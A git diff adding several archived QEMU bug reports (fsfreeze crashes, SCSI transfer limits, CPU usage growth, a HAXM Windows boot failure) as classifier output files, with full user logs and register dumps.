binfmt_misc /proc/sys/fs/binfmt_misc +mount: /proc/sys/fs/binfmt_misc: special device binfmt_misc does not exist. +$ + +Ok, your hint lead me to the fix: + +$ mount | grep binfmt_misc || mount -t binfmt_misc binfmt_misc /proc/sys/fs/binfmt_misc + +I guess this mounting was somehow happening automatically before, but now it seems that it is handled by systemd in a user system. But a container usually doesn't run systemd. + diff --git a/results/classifier/deepseek-1/output/kernel/1939179 b/results/classifier/deepseek-1/output/kernel/1939179 new file mode 100644 index 00000000..ca1444ff --- /dev/null +++ b/results/classifier/deepseek-1/output/kernel/1939179 @@ -0,0 +1,32 @@ + +qemu-ga fsfreeze crashes the kernel + +Hello, + +Still required your attention, duplicate from: +https://bugs.launchpad.net/bugs/1807073 +https://bugs.launchpad.net/bugs/1813045 + +We use mainly Cloudlinux, Debian and Centos. +We experienced many crashes on our qemu instances based on Cloudlinux during a snapshot. +The issue is not related to CloudLinux directly, but to Qemu agent, which does not freeze the file system(s) correctly. What is actually happening: + +When VM backup is invoked, Qemu agent freezes the file systems, so no single change will be made during the backup. But Qemu agent does not respect the loop* devices in freezing order (we have checked its sources), which leads to the next situation: +1) freeze loopback fs + ---> send async reqs to loopback thread +2) freeze main fs +3) loopback thread wakes up and trying to write data to the main fs, which is still frozen, and this finally leads to the hung task and kernel crash. + +Moreover, a lot of Proxmox users are complaining about the issue as well: +https://forum.proxmox.com/threads/error-vm-100-qmp-command-guest-fsfreeze-thaw-failed-got-timeout.68082/ +https://forum.proxmox.com/threads/problem-with-fsfreeze-freeze-and-qemu-guest-agent.65707/ + +We are currently in progress of retiring this bug tracker here... could you please open a new ticket on gitlab instead: + + https://gitlab.com/qemu-project/qemu/-/issues + +Thanks and sorry for the inconvenience. + +https://gitlab.com/qemu-project/qemu/-/issues/520 +... thanks! + diff --git a/results/classifier/deepseek-1/output/limits./1893634 b/results/classifier/deepseek-1/output/limits./1893634 new file mode 100644 index 00000000..9b9c82a5 --- /dev/null +++ b/results/classifier/deepseek-1/output/limits./1893634 @@ -0,0 +1,44 @@ + +blk_get_max_transfer() works only with sg + +blk_get_max_transfer() is supposed to be able to get the max_sectors queue limit of the scsi device on the host side and is used in both scsi-generic.c (for scsi-generic and scsi-block) and scsi-disk.c (for scsi-hd) to set/change the max_xfer_len (and opt_xfer_len in the case of scsi-generic). + +However, it only works with the sg driver in doing so. It cannot get the queue limit with the sd driver and simply returns MAX_INT. + +qemu version 5.1.0 +kernel version 5.8.5 + +Btw, is there a particular reason that it doesn't MIN_NON_ZERO against the original max_xfer_len: https://github.com/qemu/qemu/blob/v5.1.0/hw/scsi/scsi-generic.c#L172? + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/load./1847525 b/results/classifier/deepseek-1/output/load./1847525 new file mode 100644 index 00000000..d9fe050b --- /dev/null +++ b/results/classifier/deepseek-1/output/load./1847525 @@ -0,0 +1,112 @@ + +qemu-system-i386 eats a lot of cpu after just few hours, with sdl,gl=on + +I already send this email to <email address hidden> , but I can't see it arriving in archives, so here is copy. + +Hello, all! + +I use qemu-system-i386/qemu-system_x86_64 for rebuilding Slax-like live cd/dvd. +Usually guests (with various self-compiled kernels and X stack with kde3 on top of them) +boot up normally, but if I left them to run in GUI mode for few hours - qemu process on host +started to eat more and more cpu for itself - more notiecable if I set host cpu to lowest possible +frequency via trayfreq applet (1400Mhz in my case). + +Boot line a bit complicated, but I really prefer to have sound and usb inside VM. +qemu-system-i386 -cdrom /dev/shm/CDROM-4.4.194_5.iso -m 1.9G -enable-kvm -soundhw es1370 -smp 2 -display sdl,gl=on -usb -cpu host -rtc clock=vm + +rtc clock=vm was taken from https://bugs.launchpad.net/qemu/+bug/1174654 but apparently not helping. +After just 3 hours of uptime (copied line from 'top' on host) + +31943 guest 20 0 2412m 791m 38m R 51 6.7 66:36.51 qemu-system-i38 + +I use Xorg 1.19.7 on host, with mesa git/nouveau as GL driver. But my card has not very big amount of VRAM - only 384Mb. +May be this limitation is playing some role .. but 'end-user' result was after 1-2 day of guest uptime I run into completely frozen guest +(may be when qemu was hitting 100 one core usage on host some internal timer just made guest kernel too upset/froze? + I was sleeping or doing other things on host for all this time, with VM just supposedly running at another virtual desktop - +in KDE3 + built-in compositor ....) + +I wonder if more mainstream desktop users (on GNOME, Xfce, etc) and/or users of other distros (I use self-re-compiled Slackware) +actually can see same problem? + +qemu-system-i386 --version +QEMU emulator version 4.1.50 (v4.1.0-1188-gc6f5012ba5-dirty) +but I saw same behavior for quite some time .. just never reported it in hope it will go away. + +cat /proc/cpuinfo +processor : 0 +vendor_id : AuthenticAMD +cpu family : 21 +model : 2 +model name : AMD FX(tm)-4300 Quad-Core Processor +stepping : 0 +microcode : 0x6000852 +cpu MHz : 1399.977 +cache size : 2048 KB +physical id : 0 +siblings : 4 +core id : 0 +cpu cores : 2 +apicid : 16 +initial apicid : 0 +fpu : yes +fpu_exception : yes +cpuid level : 13 +wp : yes +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 popcnt aes xsave avx f16c lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 tce nodeid_msr tbm topoext perfctr_core perfctr_nb cpb hw_pstate ssbd vmmcall bmi1 arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold +bugs : fxsave_leak sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass +bogomips : 7600.06 +TLB size : 1536 4K pages +clflush size : 64 +cache_alignment : 64 +address sizes : 48 bits physical, 48 bits virtual +power management: ts ttp tm 100mhzsteps hwpstate cpb eff_freq_ro + +[and 3x more of the same, for 3 remaining cores] + +Gcc is Slackware 14.2's gcc 5.5.0, but I saw this with 4.9.2 too. +This might be 32-bit host problem. But may be just no-one tried to run qemu with GUI guest for literaly days? + +Host kernel is + uname -a +Linux slax 5.1.12-x64 #1 SMP PREEMPT Wed Jun 19 12:31:05 MSK 2019 x86_64 AMD FX(tm)-4300 Quad-Core Processor AuthenticAMD GNU/Linux + +I was trying newish 5.3.2 but my compilation was not as stable as this one +(I tend to change few things, like max cpu count, preemption mode, numa support .... +for more distribution-like, yet most stable and performant for me kernel) + +Kernel world is moving fast, so I'll try to recompile new 5.3.x too .... + + +I guess I should provide perf/profiler output, but for this I need to recompile qemu. +I'll try to come back with more details soon. + +Thanks for your attention and possible feedback! + +Illustration for this bug (link to screenshot): + +https://www.imgbin.net/z/9W9eVVvbll.png + +as you hopefully can see, just after less than 6 hrs of guest uptime HOST cpu is eaten at 70% by qemu-system-i386 task .. up from just 50% two hours ago! By this rate it will not survive even day of uptime.... + +this one still with me. + +qemu-system-x86_64 --version +QEMU emulator version 4.2.91 (v5.0.0-rc1-dirty) + +on 32-bit host (Slackware, but with 64-bit kernel) compiled with gcc 5.5.0 + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/logs./1865099 b/results/classifier/deepseek-1/output/logs./1865099 new file mode 100644 index 00000000..300b826d --- /dev/null +++ b/results/classifier/deepseek-1/output/logs./1865099 @@ -0,0 +1,574 @@ + +cannot run x64 based system on x64 host with Intel Haxm + +i am trying to run Windows 10 x64 on Windows 10 x64 host with intel haxm as kernel accelerator, but the system never boots, as far i read the documentation everything should be fine... + +the logs are qemu: + + +` +D:\vm>qemu-system-x86_64 -d guest_errors,out_asm,in_asm,op,op_opt,op_ind,int,exec,cpu,fpu,mmu,pcall,cpu_reset,unimp,page,nochain -cpu core2duo -smp 4 -accel hax -drive file=w10.img,index=0,media=disk,format=raw -cdrom "E:\test\W10x64ProEn-UK.iso" -m 4G -L Bios -usbdevice mouse -usbdevice keyboard -boot menu=on -rtc base=localtime,clock=host -name windows +qemu-system-x86_64: -usbdevice mouse: '-usbdevice' is deprecated, please use '-device usb-...' instead +qemu-system-x86_64: -usbdevice keyboard: '-usbdevice' is deprecated, please use '-device usb-...' instead +HAX is working and emulator runs in fast virt mode. +CPU Reset (CPU 0) +EAX=00000000 EBX=00000000 ECX=00000000 EDX=00000000 +ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 +EIP=00000000 EFL=00000000 [-------] CPL=0 II=0 A20=0 SMM=0 HLT=0 +ES =0000 00000000 00000000 00000000 +CS =0000 00000000 00000000 00000000 +SS =0000 00000000 00000000 00000000 +DS =0000 00000000 00000000 00000000 +FS =0000 00000000 00000000 00000000 +GS =0000 00000000 00000000 00000000 +LDT=0000 00000000 00000000 00000000 +TR =0000 00000000 00000000 00000000 +GDT= 00000000 00000000 +IDT= 00000000 00000000 +CR0=00000000 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=0000000000000000 DR7=0000000000000000 +CCS=00000000 CCD=00000000 CCO=DYNAMIC +EFER=0000000000000000 +FCW=0000 FSW=0000 [ST=0] FTW=ff MXCSR=00000000 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +CR0 update: CR0=0x60000010 +CPU Reset (CPU 1) +EAX=00000000 EBX=00000000 ECX=00000000 EDX=00000000 +ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 +EIP=00000000 EFL=00000000 [-------] CPL=0 II=0 A20=0 SMM=0 HLT=0 +ES =0000 00000000 00000000 00000000 +CS =0000 00000000 00000000 00000000 +SS =0000 00000000 00000000 00000000 +DS =0000 00000000 00000000 00000000 +FS =0000 00000000 00000000 00000000 +GS =0000 00000000 00000000 00000000 +LDT=0000 00000000 00000000 00000000 +TR =0000 00000000 00000000 00000000 +GDT= 00000000 00000000 +IDT= 00000000 00000000 +CR0=00000000 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=0000000000000000 DR7=0000000000000000 +CCS=00000000 CCD=00000000 CCO=DYNAMIC +EFER=0000000000000000 +FCW=0000 FSW=0000 [ST=0] FTW=ff MXCSR=00000000 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +CR0 update: CR0=0x60000010 +CPU Reset (CPU 2) +EAX=00000000 EBX=00000000 ECX=00000000 EDX=00000000 +ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 +EIP=00000000 EFL=00000000 [-------] CPL=0 II=0 A20=0 SMM=0 HLT=0 +ES =0000 00000000 00000000 00000000 +CS =0000 00000000 00000000 00000000 +SS =0000 00000000 00000000 00000000 +DS =0000 00000000 00000000 00000000 +FS =0000 00000000 00000000 00000000 +GS =0000 00000000 00000000 00000000 +LDT=0000 00000000 00000000 00000000 +TR =0000 00000000 00000000 00000000 +GDT= 00000000 00000000 +IDT= 00000000 00000000 +CR0=00000000 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=0000000000000000 DR7=0000000000000000 +CCS=00000000 CCD=00000000 CCO=DYNAMIC +EFER=0000000000000000 +FCW=0000 FSW=0000 [ST=0] FTW=ff MXCSR=00000000 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +CR0 update: CR0=0x60000010 +CPU Reset (CPU 3) +EAX=00000000 EBX=00000000 ECX=00000000 EDX=00000000 +ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 +EIP=00000000 EFL=00000000 [-------] CPL=0 II=0 A20=0 SMM=0 HLT=0 +ES =0000 00000000 00000000 00000000 +CS =0000 00000000 00000000 00000000 +SS =0000 00000000 00000000 00000000 +DS =0000 00000000 00000000 00000000 +FS =0000 00000000 00000000 00000000 +GS =0000 00000000 00000000 00000000 +LDT=0000 00000000 00000000 00000000 +TR =0000 00000000 00000000 00000000 +GDT= 00000000 00000000 +IDT= 00000000 00000000 +CR0=00000000 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=0000000000000000 DR7=0000000000000000 +CCS=00000000 CCD=00000000 CCO=DYNAMIC +EFER=0000000000000000 +FCW=0000 FSW=0000 [ST=0] FTW=ff MXCSR=00000000 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +CR0 update: CR0=0x60000010 +CPU Reset (CPU 0) +EAX=00000000 EBX=00000000 ECX=00000000 EDX=000006fb +ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 +EIP=0000fff0 EFL=00000002 [-------] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0000 00000000 0000ffff 00009300 +CS =f000 ffff0000 0000ffff 00009b00 +SS =0000 00000000 0000ffff 00009300 +DS =0000 00000000 0000ffff 00009300 +FS =0000 00000000 0000ffff 00009300 +GS =0000 00000000 0000ffff 00009300 +LDT=0000 00000000 0000ffff 00008200 +TR =0000 00000000 0000ffff 00008b00 +GDT= 00000000 0000ffff +IDT= 00000000 0000ffff +CR0=60000010 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +CCS=00000000 CCD=00000000 CCO=DYNAMIC +EFER=0000000000000000 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +CR0 update: CR0=0x60000010 +CPU Reset (CPU 1) +EAX=00000000 EBX=00000000 ECX=00000000 EDX=000006fb +ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 +EIP=0000fff0 EFL=00000002 [-------] CPL=0 II=0 A20=1 SMM=0 HLT=1 +ES =0000 00000000 0000ffff 00009300 +CS =f000 ffff0000 0000ffff 00009b00 +SS =0000 00000000 0000ffff 00009300 +DS =0000 00000000 0000ffff 00009300 +FS =0000 00000000 0000ffff 00009300 +GS =0000 00000000 0000ffff 00009300 +LDT=0000 00000000 0000ffff 00008200 +TR =0000 00000000 0000ffff 00008b00 +GDT= 00000000 0000ffff +IDT= 00000000 0000ffff +CR0=60000010 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +CCS=00000000 CCD=00000000 CCO=DYNAMIC +EFER=0000000000000000 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +CR0 update: CR0=0x60000010 +CPU Reset (CPU 2) +EAX=00000000 EBX=00000000 ECX=00000000 EDX=000006fb +ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 +EIP=0000fff0 EFL=00000002 [-------] CPL=0 II=0 A20=1 SMM=0 HLT=1 +ES =0000 00000000 0000ffff 00009300 +CS =f000 ffff0000 0000ffff 00009b00 +SS =0000 00000000 0000ffff 00009300 +DS =0000 00000000 0000ffff 00009300 +FS =0000 00000000 0000ffff 00009300 +GS =0000 00000000 0000ffff 00009300 +LDT=0000 00000000 0000ffff 00008200 +TR =0000 00000000 0000ffff 00008b00 +GDT= 00000000 0000ffff +IDT= 00000000 0000ffff +CR0=60000010 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +CCS=00000000 CCD=00000000 CCO=DYNAMIC +EFER=0000000000000000 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +CR0 update: CR0=0x60000010 +CPU Reset (CPU 3) +EAX=00000000 EBX=00000000 ECX=00000000 EDX=000006fb +ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 +EIP=0000fff0 EFL=00000002 [-------] CPL=0 II=0 A20=1 SMM=0 HLT=1 +ES =0000 00000000 0000ffff 00009300 +CS =f000 ffff0000 0000ffff 00009b00 +SS =0000 00000000 0000ffff 00009300 +DS =0000 00000000 0000ffff 00009300 +FS =0000 00000000 0000ffff 00009300 +GS =0000 00000000 0000ffff 00009300 +LDT=0000 00000000 0000ffff 00008200 +TR =0000 00000000 0000ffff 00008b00 +GDT= 00000000 0000ffff +IDT= 00000000 0000ffff +CR0=60000010 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +CCS=00000000 CCD=00000000 CCO=DYNAMIC +EFER=0000000000000000 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +CR0 update: CR0=0x60000010 +CPU Reset (CPU 1) +EAX=00000000 EBX=00000000 ECX=00000000 EDX=000006fb +ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 +EIP=0000fff0 EFL=00000002 [-------] CPL=0 II=0 A20=1 SMM=0 HLT=1 +ES =0000 00000000 0000ffff 00009300 +CS =f000 ffff0000 0000ffff 00009b00 +SS =0000 00000000 0000ffff 00009300 +DS =0000 00000000 0000ffff 00009300 +FS =0000 00000000 0000ffff 00009300 +GS =0000 00000000 0000ffff 00009300 +LDT=0000 00000000 0000ffff 00008200 +TR =0000 00000000 0000ffff 00008b00 +GDT= 00000000 0000ffff +IDT= 00000000 0000ffff +CR0=60000010 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +CCS=00000000 CCD=00000000 CCO=DYNAMIC +EFER=0000000000000000 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +CR0 update: CR0=0x60000010 +CPU Reset (CPU 2) +EAX=00000000 EBX=00000000 ECX=00000000 EDX=000006fb +ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 +EIP=0000fff0 EFL=00000002 [-------] CPL=0 II=0 A20=1 SMM=0 HLT=1 +ES =0000 00000000 0000ffff 00009300 +CS =f000 ffff0000 0000ffff 00009b00 +SS =0000 00000000 0000ffff 00009300 +DS =0000 00000000 0000ffff 00009300 +FS =0000 00000000 0000ffff 00009300 +GS =0000 00000000 0000ffff 00009300 +LDT=0000 00000000 0000ffff 00008200 +TR =0000 00000000 0000ffff 00008b00 +GDT= 00000000 0000ffff +IDT= 00000000 0000ffff +CR0=60000010 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +CCS=00000000 CCD=00000000 CCO=DYNAMIC +EFER=0000000000000000 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +CR0 update: CR0=0x60000010 +CPU Reset (CPU 3) +EAX=00000000 EBX=00000000 ECX=00000000 EDX=000006fb +ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 +EIP=0000fff0 EFL=00000002 [-------] CPL=0 II=0 A20=1 SMM=0 HLT=1 +ES =0000 00000000 0000ffff 00009300 +CS =f000 ffff0000 0000ffff 00009b00 +SS =0000 00000000 0000ffff 00009300 +DS =0000 00000000 0000ffff 00009300 +FS =0000 00000000 0000ffff 00009300 +GS =0000 00000000 0000ffff 00009300 +LDT=0000 00000000 0000ffff 00008200 +TR =0000 00000000 0000ffff 00008b00 +GDT= 00000000 0000ffff +IDT= 00000000 0000ffff +CR0=60000010 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +CCS=00000000 CCD=00000000 CCO=DYNAMIC +EFER=0000000000000000 +FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 +FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 +FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 +FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 +FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 +XMM00=00000000000000000000000000000000 XMM01=00000000000000000000000000000000 +XMM02=00000000000000000000000000000000 XMM03=00000000000000000000000000000000 +XMM04=00000000000000000000000000000000 XMM05=00000000000000000000000000000000 +XMM06=00000000000000000000000000000000 XMM07=00000000000000000000000000000000 +CR0 update: CR0=0x60000010 +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +` + + +intel haxm (kernel logs): + + +`haxm_warning: Ignored guest CR8 write, val=0x0 +haxm_warning: Ignored unsupported CR8 read, returning 0 +haxm_warning: Ignored guest CR8 write, val=0x2 +haxm_warning: Ignored guest CR8 write, val=0x0 +haxm_warning: Ignored unsupported CR8 read, returning 0 +haxm_warning: Ignored unsupported CR8 read, returning 0 +haxm_warning: Ignored guest CR8 write, val=0x2 +haxm_warning: Ignored unsupported CR8 read, returning 0 +haxm_warning: Ignored unsupported CR8 read, returning 0 +haxm_warning: Ignored guest CR8 write, val=0x2 +haxm_warning: Ignored unsupported CR8 read, returning 0 +haxm_warning: Ignored guest CR8 write, val=0xf +haxm_warning: Ignored unsupported CR8 read, returning 0 +haxm_warning: Ignored unsupported CR8 read, returning 0 +haxm_warning: Ignored guest CR8 write, val=0x2 +haxm_warning: Ignored guest CR8 write, val=0x0 +haxm_panic: Triple fault +haxm_warning: 4000 VMX_PIN_CONTROLS: 1f +haxm_warning: 4002 VMX_PRIMARY_PROCESSOR_CONTROLS: 969861fe +haxm_warning: 401e VMX_SECONDARY_PROCESSOR_CONTROLS: aa +haxm_warning: 4004 VMX_EXCEPTION_BITMAP: 40000 +haxm_warning: 4006 VMX_PAGE_FAULT_ERROR_CODE_MASK: 0 +haxm_warning: 4008 VMX_PAGE_FAULT_ERROR_CODE_MATCH: 0 +haxm_warning: 400c VMX_EXIT_CONTROLS: 236fff +haxm_warning: 400e VMX_EXIT_MSR_STORE_COUNT: 0 +haxm_warning: 4010 VMX_EXIT_MSR_LOAD_COUNT: 0 +haxm_warning: 4012 VMX_ENTRY_CONTROLS: 93ff +haxm_warning: 4014 VMX_ENTRY_MSR_LOAD_COUNT: 0 +haxm_warning: 4016 VMX_ENTRY_INTERRUPT_INFO: 8 +haxm_warning: 4018 VMX_ENTRY_EXCEPTION_ERROR_CODE: 0 +haxm_warning: 401a VMX_ENTRY_INSTRUCTION_LENGTH: 0 +haxm_warning: 401c VMX_TPR_THRESHOLD: 0 +haxm_warning: 6000 VMX_CR0_MASK: ffffffffe0000020 +haxm_warning: 6002 VMX_CR4_MASK: ffffffffffc8f860 +haxm_warning: 6004 VMX_CR0_READ_SHADOW: 80050031 +haxm_warning: 6006 VMX_CR4_READ_SHADOW: 6a0 +haxm_warning: 400a VMX_CR3_TARGET_COUNT: 0 +haxm_warning: 6008 VMX_CR3_TARGET_VAL_BASE: 0 +haxm_warning: 0000 VMX_VPID: 1 +haxm_warning: 2000 VMX_IO_BITMAP_A: 26e7b9000 +haxm_warning: 2002 VMX_IO_BITMAP_B: 26e7b7000 +haxm_warning: 2004 VMX_MSR_BITMAP: 26e7b6000 +haxm_warning: 2006 VMX_EXIT_MSR_STORE_ADDRESS: 0 +haxm_warning: 2008 VMX_EXIT_MSR_LOAD_ADDRESS: 0 +haxm_warning: 200a VMX_ENTRY_MSR_LOAD_ADDRESS: 0 +haxm_warning: 2010 VMX_TSC_OFFSET: fff957a04c01d76b +haxm_warning: 2012 VMX_VAPIC_PAGE: 0 +haxm_warning: 